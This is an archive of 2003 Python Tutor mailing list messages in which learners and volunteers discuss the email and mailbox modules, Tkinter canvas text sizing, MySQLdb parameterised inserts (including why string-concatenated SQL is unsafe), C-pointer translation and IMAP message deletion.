Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun 11 13:59:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 11 12:59:02 2003
Subject: [Tutor] recommended mail modules?
In-Reply-To: <1055343499.3ee7438b141d8@carrierpigeon.mail.umich.edu>
Message-ID: <5.2.1.1.0.20030611185520.01f40ec0@www.thinkware.se>

At 10:58 2003-06-11 -0400, Lance E Sloan wrote:
>This Perl program is designed to go through the messages in a mail
>folder (UNIX mbox-style), examine headers, and do various things.  It
>uses Mail::Folder, Mail::Internet, and some MIME modules.  I'm trying to
>figure out which Python modules I should use for this.

I don't know what these Perl modules do, but the fairly recent
module 'email' in the standard library pretty much replaces
most other libraries. Since it's so recent (2.1 or 2.1, don't
remember which) there are still a lot of other modules out there,
and not so much written about this one in various web pages. The
docs are reasonable though, with a number of examples. See:
http://www.python.org/doc/current/lib/node397.html

For mailbox access, see
http://www.python.org/doc/current/lib/module-mailbox.html

As a general rule with Python: Look in the standard library
first. This is a big difference compared with Perl unless
Perl changed radically since I discoverd Python in 1997. So,
try to restrain your impulses to search Vault of Parnassus
etc--look here first:
http://www.python.org/doc/current/lib/module-mailbox.html


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 11 14:32:30 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 11 13:32:30 2003
Subject: [Tutor] (no subject)
Message-ID: <20030611173143.20968.qmail@webmail27.rediffmail.com>

Hi,

   I am using python and tkinter. My question is a simple one. How 
to find number of pixels that a text occupies in canvas? In 
otherwords how can i get the width of the text whose width is not 
set explicitly? I have placed a text, say "Hello World",  in the 
canvas using "create_text" and want to find number pixels that it 
occupies.

The text is created as follows.
          self.canvas.create_text(100,100, text="Hello World"))
    The text starts at 100,100 and how to find the ending points 
of the text?
    I need the solution urgently. Please give your comments as 
soon as possible.

With Regards
Suresh.

___________________________________________________
Get email that means BUSINESS! me @ mycompany.com.
Just Rs.1499/year.
To start, click http://www.rediffmailpro.com



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 11 14:33:35 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 11 13:33:35 2003
Subject: [Tutor] Need urgent solution......................
Message-ID: <20030611173222.21827.qmail@webmail27.rediffmail.com>

Hi,

   I am using python and tkinter. My question is a simple one. How 
to find number of pixels that a text occupies in canvas? In 
otherwords how can i get the width of the text whose width is not 
set explicitly? I have placed a text, say "Hello World",  in the 
canvas using "create_text" and want to find number pixels that it 
occupies.

The text is created as follows.
          self.canvas.create_text(100,100, text="Hello World"))
    The text starts at 100,100 and how to find the ending points 
of the text?
    I need the solution urgently. Please give your comments as 
soon as possible.

With Regards
Suresh.

___________________________________________________
Get email that means BUSINESS! me @ mycompany.com.
Just Rs.1499/year.
To start, click http://www.rediffmailpro.com



From decibelshelp@charter.net  Wed Jun 11 14:42:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 13:42:02 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
Message-ID: <200306111241.14647.decibelshelp@charter.net>

Ran into a slight sticking point with mysql. Created the tables fine, but inserting
information from a list is not sinking in.

Does anyone have an idea how to use a FOR or WHILE loop to INSERT data into a Table?
If it needs more explaination, then pointing me to a doc would be great. I am
checking the MySQL site docs and nothing so far.

The only examples I can find see to be explict inserts like below:

cursor.execute ("""
           INSERT INTO animal (name, category)
           VALUES
               ('snake', 'reptile'),
               ('frog', 'amphibian'),
               ('tuna', 'fish'),
               ('racoon', 'mammal')
       """)


But I am wanting to do something similar to: I added the ...... instead of putting the whole table info

cursor.execute("""
        INSERT INTO stockinfo (symbol,name,.......)
        VALUES
        (       x=0
                for x in results:
                quotes9.cleanup(x)
        )
                """)



From jeff@ccvcorp.com  Wed Jun 11 14:43:24 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Wed Jun 11 13:43:24 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
References: <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>        <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu> <1438.192.207.104.206.1055347229.squirrel@mail.harlekin-maus.com>
Message-ID: <3EE769C4.8000306@ccvcorp.com>

A few points...

># Function Description
>
>pipe = Item('pipe')
>def pipe_desc():
>    if self.parent = player:
>         return "In your hand."
>    return "On the floor."
>pipe.desc = pipe_desc
>

Actually, this will *not* work.  In your pipe_desc() function, you use 
'self' -- but there's nowhere for that self to come from!  You need to 
actually have self in the argument list, i.e. 'def pipe_desc(self): 
[...]'  However, there's still one more trick needed.  In order for 
'self' to be given the right value when called as a method, you have to 
tell Python that this is a method of your pipe object.  I believe that 
this can be done using the 'new' module's instancemethod() function.


>Which means there's this pipe_desc object floating around, and could
>accidentally be overwritten. So I have to force a naming convention, such
>as itemname_function. Which would work, but feels kludgy and isn't as
>elegant.
>

Actually, you don't need to worry about that.  As long as you still have 
a reference to the function object, the original reference can go away 
or be overwritten without harm.

 >>> def f():
...     print "I'm here!"
...    
 >>> f()
I'm here!
 >>> function = f
 >>> del f
 >>> f()
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
NameError: name 'f' is not defined
 >>> function()
I'm here!
 >>>

So once you've assigned your function to pipe.desc, pipe_desc isn't 
needed any more, and could even be re-used.  Be careful about re-using 
function names, though -- you need to be aware of when the def statement 
is executed.  You'd need to have the first function object assigned to a 
different name before the second def statement creates a new function 
object with the same name.  This is where something like makeMsg() is 
useful -- a new function is defined each time makeMsg() is called, and 
you must assign that function to a name in order to hold on to it, so it 
forces proper serialization of your function definitions.

Jeff Shannon
Technician/Programmer
Credit International




From jim_938@hotmail.com  Wed Jun 11 14:58:01 2003
From: jim_938@hotmail.com (Jimmy verma)
Date: Wed Jun 11 13:58:01 2003
Subject: [Tutor] Pointer handling
Message-ID: <Sea1-F68LV47ozI9Wbb0000bc32@hotmail.com>

Hello *.*

I am having a problem with handling pointers.

I have a function like this:
XYZ is a struct.

ABC( XYZ *aa)
{
       XYZ *bb;
       bb = &aa[no];    // no is some integer value.
       /*Do sthing */
        HHH(bb, aa, no);             // values are used in some function

}


Now in python i have made a class XYZ


def ABC(XYZ):
      g = XYZ();



How the code here can behave like the code above.


Waiting for the suggestions.

Regards,

Jim

_________________________________________________________________
Narain Karthikeyan. He's fast, really fast. 
http://server1.msn.co.in/sp03/tataracing/index.asp Want to meet him?



From abli@freemail.hu  Wed Jun 11 15:11:30 2003
From: abli@freemail.hu (Abel Daniel)
Date: Wed Jun 11 14:11:30 2003
Subject: [Tutor] finding size of text on Tkinter.Canvas, was: Re: Need urgent solution
In-Reply-To: <20030611173222.21827.qmail@webmail27.rediffmail.com>
References: <20030611173222.21827.qmail@webmail27.rediffmail.com>
Message-ID: <20030611180721.GA1341@hooloovoo>

Suresh  Kumar wrote:
>   I am using python and tkinter. My question is a simple one. How 
> to find number of pixels that a text occupies in canvas? In 
> otherwords how can i get the width of the text whose width is not 
> set explicitly? I have placed a text, say "Hello World",  in the 
> canvas using "create_text" and want to find number pixels that it 
> occupies.
> 
> The text is created as follows.
>          self.canvas.create_text(100,100, text="Hello World"))
>    The text starts at 100,100 and how to find the ending points 
> of the text?
>    I need the solution urgently. Please give your comments as 
> soon as possible.
> 
> With Regards
> Suresh.

>>> import Tkinter
>>> c=Tkinter.Canvas()
>>> c.pack()
>>> text = c.create_text(100,100, text="Hello World")
>>> c.bbox(text)
(67, 93, 133, 107)
>>> 

Note that with the default setting, the _middle_ of the text will be at
the position you give. If you want to set the top-left corner of the
text at that given postion, you have to use the 'anchor' option:
text = c.create_text(100,100, text="Hello World", anchor=Tkinter.NW)

(As a reference text, i suggest downloading "Tkinter reference: a GUI
for Python" from http://www.nmt.edu/tcc/help/pubs/lang.html)

Abel Daniel


From tireseas@onetel.com  Wed Jun 11 15:16:35 2003
From: tireseas@onetel.com (valhalla)
Date: Wed Jun 11 14:16:35 2003
Subject: [Tutor] Maths Operations on lists (update)
In-Reply-To: <20030611052401.4743.20242.Mailman@mail.python.org>
References: <20030611052401.4743.20242.Mailman@mail.python.org>
Message-ID: <200306111914.02912.tireseas@onetel.com>

Kalle Svensson, Michael Barrett & Alan Gauld:

Thank you each for your suggested solutions to the problem I presented=20
yesterday. I said that I would report back, which I am now doing:

1. Each of you answered my question clearly and directly, and that made t=
hings=20
really straightforward for me, and your responses were easy to follow.
2. The piece(s) that I was missing in resolving the problem was really ho=
w I=20
could (a) sum the contents of a list and then (b) divide that sum by the=20
len(list). I knew that I would divide it by the len of the list, since th=
at=20
way the list could be any length and it would disturb the operation.=20
3. My own attempts at solution came closest to the one Kalle proposed - i=
=2Ee.=20
assigning a 'third' variable the role of holding the sum, but I went abou=
t it=20
the wrong way. I used a 'for' loop to do the iteration but fouled it up, =
and=20
looking at Kalle's proposition realised where I went wrong.=20
4. Michael's proposition was also along the same kinds of lines, but with=
 the=20
added type declaration of float (i.e. %f).
5. However, I used Alan's proposal finally because (a) it pushed me beyon=
d my=20
comfort zone in that I hadn't even thought of that as a solution and (b)=20
because it is quite succinct. Also, due to my looking for list operations=
 I=20
wanted to use Alan's idea because it clearly is a list operator.

So, thank you guys for taking the trouble to suggest these solutions!!!

All the best

=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From abli@freemail.hu  Wed Jun 11 15:34:03 2003
From: abli@freemail.hu (Abel Daniel)
Date: Wed Jun 11 14:34:03 2003
Subject: [Tutor] Pointer handling
In-Reply-To: <Sea1-F68LV47ozI9Wbb0000bc32@hotmail.com>
References: <Sea1-F68LV47ozI9Wbb0000bc32@hotmail.com>
Message-ID: <20030611183313.GB1341@hooloovoo>

Jimmy verma wrote:
> Hello *.*
> 
> I am having a problem with handling pointers.
> 
> I have a function like this:
> XYZ is a struct.
> 
> ABC( XYZ *aa)
> {
>       XYZ *bb;
>       bb = &aa[no];    // no is some integer value.
 This is the same as "bb = aa + no;", right?
>       /*Do sthing */
>        HHH(bb, aa, no);             // values are used in some function
> 
> }
> 
Well, your C function gets not one XYZ, but a list of XYZs. (Or, more
precisely, a pointer which you handle as pointing to the first element
in a list.) So in python it would look like:

def ABC(l):
    # do something
    g = l[no:]
    HHH(g, l, no)

Of course, this might not be what you want, depending on what is
happening in the /*Do sthing*/ part, and what HHH does.
(For example, the C example doesn't create a new list, my python version
does.)

Abel Daniel


From decibelshelp@charter.net  Wed Jun 11 15:44:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 14:44:02 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <20030611174738.GA14051@thepenguin.org>
References: <200306111241.14647.decibelshelp@charter.net> <20030611174738.GA14051@thepenguin.org>
Message-ID: <200306111343.28230.decibelshelp@charter.net>

Getting closer. I have changed it from a loop to just put the symbol string in.
But I want it to be a variable. Can't seem to get mysql to take a variable.
There must be a 'symbol' or something like @ or % that is want, otherwise 
it will just put the item in as is.
Example:


value=(stock[0])
print "Value is %s" % value
cursor.execute("""
	INSERT INTO stockinfo (symbol)
	VALUES('@value')
	""")

Just puts '@value' in the table column. Tried other ways, must be missing something.
When I print the value in the second line is says what stock[0] is, just can't get it
into the column.

On Wednesday 11 June 2003 12:47 pm, you wrote:
> On Wed, Jun 11, 2003 at 12:41:14PM -0500, Decibels wrote:
> > Ran into a slight sticking point with mysql. Created the tables fine, but
> > inserting information from a list is not sinking in.
> >
> > Does anyone have an idea how to use a FOR or WHILE loop to INSERT data
> > into a Table? If it needs more explaination, then pointing me to a doc
> > would be great. I am checking the MySQL site docs and nothing so far.
> >
> > The only examples I can find see to be explict inserts like below:
> >
> > cursor.execute ("""
> >            INSERT INTO animal (name, category)
> >            VALUES
> >                ('snake', 'reptile'),
> >                ('frog', 'amphibian'),
> >                ('tuna', 'fish'),
> >                ('racoon', 'mammal')
> >        """)
> >
> >
> > But I am wanting to do something similar to: I added the ...... instead
> > of putting the whole table info
> >
> > cursor.execute("""
> >         INSERT INTO stockinfo (symbol,name,.......)
> >         VALUES
> >         (       x=0
> >                 for x in results:
> >                 quotes9.cleanup(x)
> >         )
> >                 """)
>
> The for loop would have to come outside of the execute statement as far as
> I can tell from your example.
>
> 	x=0
> 	for x in results:
> 		INSERT INTO stockinfo(symbol,name,........)
> 		VALUES
> 		(
> 			quotes9.cleanup(x)
> 		)
>
> Something like the above although I didn't spend much time or test it.
>
> --vicki



From decibelshelp@charter.net  Wed Jun 11 16:42:01 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 15:42:01 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <20030611185723.GA14290@thepenguin.org>
References: <200306111241.14647.decibelshelp@charter.net> <200306111343.28230.decibelshelp@charter.net> <20030611185723.GA14290@thepenguin.org>
Message-ID: <200306111440.34606.decibelshelp@charter.net>

Thanks for the site, will be helpful in the future. Right now it seems to want a constant.
Even though they say User Variables. It seems to mean really User Constant Variables.

Get this error
_mysql_exceptions.OperationalError: (1204, 'You may only use constant expressions with SET')

If I:  SET @VALUE:="IBM"
it works fine. If I:

symbol = "IBM"
cursor.execute("""
	SET @VALUE=symbol;
	""")

Get the above error. I must be missing something and will continue looking at the page you sent.
But you would think that this would be possible and used a lot. Guess not.



On Wednesday 11 June 2003 01:57 pm, you wrote:
> Have you looked here? I don't have time to research the answer but saw this
> site which might lead to a solution.
>
> http://www.idera.com/support/documentation/mySQL_SQL_Reference.htm
>
> --vicki



From dyoo@hkn.eecs.berkeley.edu  Wed Jun 11 17:30:08 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed Jun 11 16:30:08 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <200306111343.28230.decibelshelp@charter.net>
Message-ID: <Pine.LNX.4.44.0306111258150.19635-100000@hkn.eecs.berkeley.edu>


On Wed, 11 Jun 2003, Decibels wrote:

> Getting closer. I have changed it from a loop to just put the symbol
> string in. But I want it to be a variable. Can't seem to get mysql to
> take a variable. There must be a 'symbol' or something like @ or % that
> is want, otherwise it will just put the item in as is. Example:
>
>
> value=(stock[0])
> print "Value is %s" % value
> cursor.execute("""
> 	INSERT INTO stockinfo (symbol)
> 	VALUES('@value')
> 	""")
>
> Just puts '@value' in the table column. Tried other ways, must be
> missing something. When I print the value in the second line is says
> what stock[0] is, just can't get it into the column.


Hi Decibels,


Very close: prepared statement syntax in Python looks a little different.
Try:

###
cursor.execute("""INSERT INTO stockinfo (symbol)
                  VALUES(%s)""", (stock[0]))
###

For more information, you can look at:

    http://www.amk.ca/python/writing/DB-API.html


(Note that, in AMK's example, he's using '?' to specify parameter values.
However, I'm not sure if all Python API 2.0 database connectors support
'?'; in particular, MySQLdb uses the 'format' paramstyle.  It's a point of
incompatibility that's very annoying; I hope the DB Special Interest Group
unifies this soon!)




> > > Does anyone have an idea how to use a FOR or WHILE loop to INSERT data
> > > into a Table? If it needs more explaination, then pointing me to a doc
> > > would be great. I am checking the MySQL site docs and nothing so far.
> > >
> > > cursor.execute ("""
> > >            INSERT INTO animal (name, category)
> > >            VALUES
> > >                ('snake', 'reptile'),
> > >                ('frog', 'amphibian'),
> > >                ('tuna', 'fish'),
> > >                ('racoon', 'mammal')
> > >        """)



Hmmmm... Good question!  In the case of batch updating, we probably want
to use the executemany() method.


So instead of:

###
animal_categories = [['snake', 'reptile'],
                     ['frog', 'amphibian'],
                     ['tuna', 'fish'],
                     ['racoon', 'mammal']]
for name, category in animal_categories:
    cursor.execute('''insert into animal (name, category)
                      values (%s, %s)''',
                   (name, category))
cursor.commit()
###



We can be more direct and say:

###
animal_categories = [['snake', 'reptile'],
                     ['frog', 'amphibian'],
                     ['tuna', 'fish'],
                     ['racoon', 'mammal']]
cursor.executemany('''insert into animal (name, category)
                      values (%s, %s)''', animal_categories)
###



It might be slightly amusing to compare the way Python supports this with
another popular language. Java's JDBC 2.0 API supports batches of inserts
with its 'addBatch()' method.

   http://java.sun.com/docs/books/tutorial/jdbc/jdbc2dot0/batchupdates.html

But, subjectively speaking, I don't think it looks that much better than
if we had coded an explicit loop.  *grin*



The Python DB API spec is a little terse, but it's still very useful to go
through its methods to get its overview.  Here's a link to the API:

    http://python.org/peps/pep-0249.html


Good luck to you!



From magnus@thinkware.se  Wed Jun 11 18:43:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 11 17:43:01 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <Pine.LNX.4.44.0306111258150.19635-100000@hkn.eecs.berkeley
 .edu>
References: <200306111343.28230.decibelshelp@charter.net>
Message-ID: <5.2.1.1.0.20030611224428.01f942b0@www.thinkware.se>

First of all, don't forget connection.commit(). If your
values don't "stick" it's because you don't commit them.
The DB-API spec says that autocommit must be off by default.
(As God intended! (Or was that Codd? Never mind, he's also
up there now.))

At 13:29 2003-06-11 -0700, Danny Yoo wrote:
>On Wed, 11 Jun 2003, Decibels wrote:
>
> > Getting closer. I have changed it from a loop to just put the symbol
> > string in. But I want it to be a variable. Can't seem to get mysql to
> > take a variable. There must be a 'symbol' or something like @ or % that
> > is want, otherwise it will just put the item in as is. Example:

@ only works in Sybase as far as I know. (MS SQLServer is a
Sybase fork, so it might work there as well.)

>###
>cursor.execute("""INSERT INTO stockinfo (symbol)
>                   VALUES(%s)""", (stock[0]))

That should really have been ...

cursor.execute("""INSERT INTO stockinfo (symbol)
                   VALUES(%s)""", (stock[0],))

... to make the parameter list a tuple.

>###
>
>For more information, you can look at:
>
>     http://www.amk.ca/python/writing/DB-API.html
>
>(Note that, in AMK's example, he's using '?' to specify parameter values.
>However, I'm not sure if all Python API 2.0 database connectors support
>'?'; in particular, MySQLdb uses the 'format' paramstyle.  It's a point of
>incompatibility that's very annoying; I hope the DB Special Interest Group
>unifies this soon!)

Sigh... Don't hold your breath. I'm working on it, but it seems
most db-sig people are mainly working with one or a few drivers,
and they are happy to use it as it is. Few seem to be very
interested in making the DB-API more easy to digest for beginners,
or easier to use for those who settle for a subset of SQL that
works cross platform.

I don't mind more people trying to pull in the same direction.

The only permitted parameter style according to the SQL in the
dynamic context that Python uses is ? . I think that ought to
work in all drivers.

I hope that I'll be able to convince the other driver providers
to support ? at least if I write the code needed to do it...

The problem is that MySQL, PostgreSQL and SQLite don't support
parameter passing at all. To make it easier to maintain the
DB driver, they use Python's %-operator inside the execute method,
so you have to use %s and a tuple of parameters, or %(name)s and
a dictionary with parameters.

The other drivers support parameter styles that are supported for
the backends in question. ? for ODBC, SAP DB etc, %1 for one Oracle
adapter and %name for another, and @name for the Sybase adapter
etc etc...

I don't think it's very difficult to write code to convert from ?
to either of the other formats, but it probably needs to be done
in C to be fast enough, and it has to account for quoted text as
well as comments in the SQL.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun 11 20:18:03 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 11 19:18:03 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <200306111712.15793.decibelshelp@charter.net>
References: <5.2.1.1.0.20030611224428.01f942b0@www.thinkware.se>
 <200306111343.28230.decibelshelp@charter.net>
 <5.2.1.1.0.20030611224428.01f942b0@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030612011533.01f943f8@www.thinkware.se>

At 17:12 2003-06-11 -0500, Decibels wrote:
>Hmm, interesting point. I check and they are autocommited.
>Looked at manual and mysql defaults to that. I put this in my
>notes though to look into it further or for documentation, incase
>there is any issue with mysql not saving the data.

If the MySQLdb is to follow the Python DB-API 2.0 Specification,
it must turn off autocommit by default.
See http://www.python.org/peps/pep-0249.html

"       .commit()

             Commit any pending transaction to the database. Note that
             if the database supports an auto-commit feature, this must
             be initially off. An interface method may be provided to
             turn it back on."



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 11 21:47:17 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 11 20:47:17 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop
In-Reply-To: <200306111343.28230.decibelshelp@charter.net>
References: <200306111241.14647.decibelshelp@charter.net>
 <20030611174738.GA14051@thepenguin.org>
 <200306111343.28230.decibelshelp@charter.net>
Message-ID: <3-1607920588.20030611205300@columbus.rr.com>

> value=(stock[0])
> print "Value is %s" % value
> cursor.execute("""
>         INSERT INTO stockinfo (symbol)
>         VALUES('@value')
>         """)

How about
cursor.execute( "INSERT INTO stockinfo (symbol)
                VALUES(" + value + ")" )

Alan



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 11 23:14:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 11 22:14:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a single assignment?
Message-ID: <22-1602680473.20030611222020@columbus.rr.com>

I know I can modify every nth list item using a for loop over a
range(start,end,n), but can it be done in a single assignment, without
a loop?

Alan



From lsloan@umich.edu  Wed Jun 11 23:40:02 2003
From: lsloan@umich.edu (Lance E Sloan)
Date: Wed Jun 11 22:40:02 2003
Subject: [Tutor] recommended mail modules?
In-Reply-To: <5.2.1.1.0.20030611185520.01f40ec0@www.thinkware.se>
References: <5.2.1.1.0.20030611185520.01f40ec0@www.thinkware.se>
Message-ID: <1328979.1055371151@blue-four.us.itd.umich.edu>

--On Wednesday, June 11, 2003 19:01 +0200 Magnus Lyck=E5=20
<magnus@thinkware.se> wrote:
> At 10:58 2003-06-11 -0400, Lance E Sloan wrote:
>> This Perl program is designed to go through the messages in a mail
>> folder (UNIX mbox-style), examine headers, and do various things.  It
>> uses Mail::Folder, Mail::Internet, and some MIME modules.  I'm trying to
>> figure out which Python modules I should use for this.
>
> I don't know what these Perl modules do, but the fairly recent
> module 'email' in the standard library pretty much replaces
> most other libraries. Since it's so recent (2.1 or 2.1, don't

Thanks for the tip, Magnus (and Lloyd Kvam, too).  Python's "email" module=20
looks to be roughly equivalent to Perl's Mail::Internet.  Upon looking at=20
the "email" documentation, it looks like I want to use the "mailbox"=20
module, too, which is equivalent to Perl's Mail::Folder.

--
Lance E Sloan
U-M WATS: Web Applications, Technologies, and Solutions
Full-service web and database design, development, and hosting.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"



From jakieabraham@yahoo.com  Thu Jun 12 03:11:02 2003
From: jakieabraham@yahoo.com (Jacob Abraham)
Date: Thu Jun 12 02:11:02 2003
Subject: [Tutor] IMAP help to delete and copy messages
Message-ID: <20030612060904.86577.qmail@web11208.mail.yahoo.com>

IMAP help to delete and copy messages.

Dear tutor,
   My program objective was to (read/print) a messege
copy it into another mail box and delete the messege
from the inbox. But the delete function deletes the
entire mail box and not a particular messege please
help.
Jacob Abraham

#This program has errors
import imaplib
M=imaplib.IMAP4('www.XXX.com',143)
M.login('NAME','PASSWOR')]]

T=M
T.create('temp')
T.select(mailbox='temp')

M.select()
typ, data=M.search(None, '(FROM "Jacob Abraham")')
for num in data[0].split():
   typ,data=M.fetch(num,'(RFC822)')
   print data[0]
   print "Message %s \n %s\n"%(num,data[0][1])
   a=data[0][1]
   M.copy(num,'temp')
   M.delete()
M.logout()
T.logout()
import sys
sys.exit()

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From dyoo@hkn.eecs.berkeley.edu  Thu Jun 12 03:23:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 12 02:23:01 2003
Subject: [Tutor] MySQLdb INSERT with while or for loop  [SQL Prepared
 Statements]
In-Reply-To: <3-1607920588.20030611205300@columbus.rr.com>
Message-ID: <Pine.LNX.4.44.0306112247080.11419-100000@hkn.eecs.berkeley.edu>

On Wed, 11 Jun 2003, R. Alan Monroe wrote:

> > value=(stock[0])
> > print "Value is %s" % value
> > cursor.execute("""
> >         INSERT INTO stockinfo (symbol)
> >         VALUES('@value')
> >         """)
>
> How about
> cursor.execute( "INSERT INTO stockinfo (symbol)
>                 VALUES(" + value + ")" )


Hi Alan,

That will work if the 'value' is numeric.  If it's a string, then SQL
requires a string value to be in single quotes, like:

###
cursor.execute("INSERT INTO stockinfo (symbol) "
                   + " VALUES ('" + value + "')")
###


Except that this isn't quite right either: what if value itself contains
single quotes?  In the SQL language, literal single quotes can be escaped
if we double them up.  "'" ---> "''"


So we may really need to do something like this:

###
cursor.execute("INSERT INTO stockinfo (symbol) VALUES "
                   + "('" + value.replace("'", "''") + "')")
###

But that's just plain ugly.  *grin*


This is why good database drivers provide a "prepared statement" system
that handles the messiness of quotation; we can do:

###
cursor.execute("INSERT INTO stockinfo (symbol) VALUES (%s)",
               (value,))
###

This looks almost like String Formatting, and it's similar in concept:
the SQL driver itself will plug in the values for us, and do the proper
quotation-escaping stuff too.


Most of the tutorials I've seen on doing SQL stuff in a programming
language don't emphasize enough of the fact that prepared statements
should be used when quotation is an issue.

Devshed provides a tutorial on MySQL and Python:

    http://www.devshed.com/Server_Side/Python/PythonMySQL/page1.html

and at least they use it, even though they don't explain the issue
explicitely.  Most tutorials I've seen don't even go this far, and neglect
to point out the dangers of doing straight string concatenation on SQL
statements.  As an example, see:

    http://aspn.activestate.com/ASPN/Mail/Message/python-Tutor/1614717


As you can tell, I get fired up about this.  I don't know why, but I do
get rabid about this issue every once in a while.  *grin*  I'm sorry.

It just bothers me that "performance" is often the only reason that's
pushed when Prepared Statements are mentioned in a tutorial.  Performance
is nice, but correctness --- that is, actually getting the quotation stuff
right --- is much more compelling and relevant, especially since it's a
potential security issue.


Talk to you later!



From magnus@thinkware.se  Thu Jun 12 09:08:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 12 08:08:01 2003
Subject: [Tutor] IMAP help to delete and copy messages
In-Reply-To: <20030612060904.86577.qmail@web11208.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030612135655.01fcfe48@www.thinkware.se>

At 23:09 2003-06-11 -0700, Jacob Abraham wrote:
>    My program objective was to (read/print) a messege
>copy it into another mail box and delete the messege
>from the inbox. But the delete function deletes the
>entire mail box and not a particular messege please
>help.

If you read the documentation, you will see that this is
just what delete is supposed to do.

IMAP is fairly complex, and the documentation for imaplib
is no IMAP tutorial... See the specification
http://www.isi.edu/in-notes/rfc2060.txt for specifics.

I haven't used IMAP myself, but as far as I understand,
you need to do this in two steps.

First you need to tell the server that the client has
deleted the message.

Secondly, you expunge the mailbox, which will permanently
remove messages marked as deleted.

There are hints about this in the imaplib docs, but I fear
that you have to read through the spec or find some other
tutorial etc to figure this one out...

I think you send the message with append(), but you have to
figure out the details...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Thu Jun 12 10:20:29 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Thu Jun 12 09:20:29 2003
Subject: [Tutor] (no subject)
Message-ID: <20030612131855.8110.qmail@webmail16.rediffmail.com>

 This is a multipart mime message


--Next_1055423935---0-203.199.83.26-8096
Content-type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,=0A   Iam using python/tkinter/pmw in windows. Most of graphics language=
s provides facility to fill the rectangcle with horizantal/vertical lines. =
I know that in tkinter we can fill the  canvas  rectangle's interior using =
"stipple". But my customer is expecting the rectangles to be filled with  d=
iagnal/vertical/horizantal lines. Is there any direct way is available in t=
kinter/Pmw to fill the rectangle with lines?=0Aor i have to use "create_lin=
e" command explicitly?=0A=0AWith Regards,=0AV.Suresh Kumar=0A =20
--Next_1055423935---0-203.199.83.26-8096
Content-type: text/html;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<a href=3D"http://www.herohonda.com/karizma" target=3D"_blank">=0A<img src=
=3D"http://immail.rediff.com/icons/rediff_mail_gold/hhsignature_12062003.gi=
f" width=3D"496" height=3D"75" border=3D"0">=0A</a>=0A
--Next_1055423935---0-203.199.83.26-8096--



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Thu Jun 12 10:21:20 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Thu Jun 12 09:21:20 2003
Subject: [Tutor] Cnavas rectangle filling......................
Message-ID: <20030612132002.12083.qmail@webmail27.rediffmail.com>

 This is a multipart mime message


--Next_1055424002---0-203.199.83.37-12081
Content-type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,=0A   Iam using python/tkinter/pmw in windows. Most of graphics language=
s provides facility to fill the rectangcle with horizantal/vertical lines. =
